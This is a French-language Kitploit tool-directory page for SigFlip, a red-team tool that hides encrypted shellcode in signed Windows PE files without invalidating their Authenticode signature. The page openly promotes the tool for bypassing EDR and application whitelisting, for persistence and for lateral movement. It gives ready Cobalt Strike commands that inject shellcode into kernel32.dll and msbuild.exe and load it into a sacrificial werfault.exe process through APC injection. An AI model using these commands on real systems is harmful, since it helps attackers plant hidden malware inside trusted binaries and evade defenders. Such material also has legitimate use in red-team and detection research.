Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SigFlip — SigFlip est un outil pour patcher les fichiers PE signés avec Authenticode (exe, dll, sys ...etc) sans invalider ou casser la signature existante. | Kitploit
Outils/GitHubGitHub/med0x2e/sigflip
Outils DéfensifsMécanismes de PersistanceAnalyse de CodeExploitationMouvement LatéralAnalyse de BinairesRed TeamingDéveloppement de Charges Utiles
GitHubmed0x2e/sigflip

SigFlip

SigFlip est un outil pour patcher les fichiers PE signés avec Authenticode (exe, dll, sys ...etc) sans invalider ou casser la signature existante.

Voir le dépôt
1.3k20975il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Qu'est-ce que c'est ?

SigFlip est un outil pour patcher des fichiers PE signés avec Authenticode (exe, dll, sys, etc.) sans affecter ni casser la signature Authenticode existante. En d'autres termes, vous pouvez modifier le checksum/hash d'un fichier PE en y intégrant des données (par exemple, du shellcode) sans casser la signature du fichier, les contrôles d'intégrité ou la fonctionnalité du fichier PE.

SigInject chiffre et injecte du shellcode dans la table de certificats [WIN_CERTIFICATE] d'un fichier PE. La clé de chiffrement est affichée pour être utilisée avec un chargeur basique BOF/C/C# (SigLoader). SigInject enregistre les modifications dans un fichier PE modifié tout en préservant l'intégrité de sa signature et de son certificat.

SigLoader est un chargeur basique qui prend en paramètre le chemin d'un fichier PE modifié créé par SigInject et la clé de déchiffrement, puis extrait et déchiffre le shellcode intégré pour l'utiliser avec une injection de shellcode de votre choix.

SigFlip vérifie si le hash du PE a été modifié avec succès et se termine proprement si les points de terminaison sont durcis contre ce type de mauvaise configuration courante (voir section « Détails »).

Remarque rapide : SigFlip, SigInject et SigLoader sont disponibles sous forme de scripts BOF et d'assemblies .NET. La seule différence est que la fonctionnalité de SigInject est implémentée dans SigFlip (-i) si vous choisissez d'utiliser les artefacts .NET au lieu des BOF.

Pourquoi ?

Il peut être principalement utilisé pour la persistance, le mouvement latéral ou l'exécution de code/commandes et peut aider à :

  • Contourner la liste blanche d'applications en modifiant le hash d'un fichier PE (msbuild.exe par exemple) sans casser la signature.
  • Contourner les EDR qui se basent sur les hash de LOLBIN spécifiques pour détecter l'exécution de code/commandes malveillantes.
  • Charger des pilotes signés en utilisant un hash différent, ce qui pourrait aider à contourner les EDR qui surveillent les pilotes signés vulnérables courants à l'aide d'une liste prédéfinie de hash.
  • Intégrer du shellcode chiffré dans un fichier PE signé et utiliser un stager (sigloader) de votre choix pour analyser, déchiffrer, charger et exécuter le code.
  • Les éditeurs de sécurité des terminaux ont tendance à classer les fichiers PE signés comme bénins la plupart du temps ; intégrer votre code non signé (shellcode, etc.) dans un fichier PE signé rend la détection/le marquage un peu plus difficiles.
  • Contourner les éditeurs de sécurité des terminaux qui se fient principalement au WinVerifyTrust par défaut pour la validation des signatures.
  • Améliorer l'OPSEC et défier les défenseurs qui se fient uniquement aux utilitaires de vérification de signature typiques tels que signtool, sigcheck, Get-AuthenticodeSignature, etc. pour valider la signature Authenticode des fichiers PE.

Utilisation et exemples :

Compilation/Construction :

Les BOF précompilés ne sont pas fournis dans ce projet. Ils peuvent être compilés avec Mingw-w64. Pour .NET, utilisez VS ou csc.exe pour compiler les projets .NET (SigFlip, SigLoader). Pour BOF, suivez les étapes ci-dessous ;

  • ➜ i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o
  • ➜ x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o
  • ➜ x86_64-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x64.o
  • ➜ i686-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x86.o

Assurez-vous que tous les fichiers objets se trouvent dans le même répertoire que sigflip.cna, puis chargez le script sigflip.cna dans Cobalt Strike.

Remarque rapide : les BOF précompilés ont été testés et sont compatibles avec mingw-64 v8.0.0_3. L'utilisation de mingw-64 >= v9 peut fonctionner mais peut planter les beacons actifs. Consultez https://github.com/med0x2e/SigFlip/issues/2 pour plus de détails.

Cobalt Strike :

  1. Execute-Assembly

    • execute-assembly SigFlip.exe -h
    • execute-assembly SigLoader -h
  2. BOF

    • Pour une utilisation avec Cobalt Strike, une fois que vous chargez le script SigFlip.cna, deux nouvelles commandes seront enregistrées : SigFlip et SigInject. Utilisez-les comme suit ;
      • SigFlip : Modifier le hash d'un fichier PE (DLL, EXE, SYS, OCX, etc.) sans casser la signature ni la validité du certificat :

        • SigFlip "<PE\_FILE\_PATH>" "<OUTPUT\_PE\_FILE\_PATH (with extension)>"
      • SigInject : Chiffre et injecte du shellcode dans la table de certificats [WIN_CERTIFICATE] d'un fichier PE. La clé de chiffrement est affichée pour être utilisée avec un chargeur basique C/C# tout en préservant l'intégrité de la signature et du certificat :

        • SigInject "<PE\_FILE\_PATH> <OUTPUT\_PE\_FILE\_PATH (with extension)>" "<SHELLCODE\_FILE>"
      • SigLoader : Charge le shellcode chiffré à partir de fichiers PE créés par SigInject, puis utilise Early Bird queueuserapc pour générer/injecter le code dans un processus sacrificiel. La logique d'injection de shellcode peut être personnalisée ou remplacée par toute autre technique d'injection de code de votre choix :

        • SigLoader <PE_FILE_PATH_WITH_SH> <DECRYPTION_KEY> <SPAWNTO_PROCESS_PATH> <PARENT_PROCESS_ID>
  3. Exemples

    • BOF :

      • Injecter des données aléatoires dans msbuild.exe (alias bit flip msbuild.exe) :
        • SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"
      • Injecter du shellcode dans kernel32.dll (L'ordre des arguments est différent ; assurez-vous de noter la clé de déchiffrement) :
        • SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin"
        • Sigloader "C:\random\modified-kernel32.dll" "DECRYPTION_KEY" "C:\Windows\System32\werfault.exe" 6300
    • Execute-Assembly :

      • Injecter des données aléatoires dans msbuild.exe :
        • execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exe
      • Injecter du shellcode dans kernel32.dll (L'ordre des arguments est différent ; assurez-vous de noter la clé de déchiffrement) :
        • execute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKey
        • execute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354

Détails :

Il s'agit d'une technique connue utilisée par APT#10 dans plusieurs campagnes ou ensembles d'intrusions.

Signatures numériques Authenticode ?

Authenticode est une technologie de signature de code Microsoft qui identifie l'éditeur de logiciels signés avec Authenticode. Authenticode vérifie également que le logiciel n'a pas été altéré depuis sa signature et sa publication.

Comment ça fonctionne ?

Télécharger l’outil